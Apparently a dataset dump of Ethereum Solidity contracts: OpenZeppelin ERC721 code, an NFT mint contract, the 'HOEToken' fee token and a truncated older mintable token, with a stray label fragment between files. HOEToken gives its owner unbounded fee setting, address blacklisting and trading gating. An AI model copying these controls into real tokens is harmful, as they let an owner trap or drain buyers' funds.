* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity >=0.7.0 <0.9.0;
contract CryptoonGoonz is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 6969;
uint256 public maxMintAmount = 100;
bool public paused = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner() {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner() {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
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/**
*Submitted for verification at Etherscan.io on 2022-03-02
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HOEToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HOE Token";
string private constant _symbol = "HOE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x3BDf41dACe5eC6e01D7a323f0e03B86A27f0705D);
address payable private _marketingAddress = payable(0x3BDf41dACe5eC6e01D7a323f0e03B86A27f0705D);
address payable private _charityAddress = payable(0x3BDf41dACe5eC6e01D7a323f0e03B86A27f0705D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 3000000000000 * 10**9; //0.3
uint256 public _maxWalletSize = 10000000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 1000000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_charityAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(5));
_marketingAddress.transfer(amount.div(2));
_charityAddress.transfer(amount.mul(3).div(10));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == _charityAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress || _msgSender() == _charityAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
function setTaxWallets(address newTaxWall1, address newTaxWall2, address newTaxWall3) public onlyOwner {
_developmentAddress = payable(newTaxWall1);
_marketingAddress = payable(newTaxWall2);
_charityAddress = payable(newTaxWall3);
_isExcludedFromFee[newTaxWall1] = true;
_isExcludedFromFee[newTaxWall2] = true;
_isExcludedFromFee[newTaxWall3] = true;
}
} | True | [
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pragma solidity ^0.4.21;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract APOToken is MintableToken {
string public name = "Advanced Parimutuel Options";
string public symbol = "APO";
uint8 public decimals = 18;
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > now);
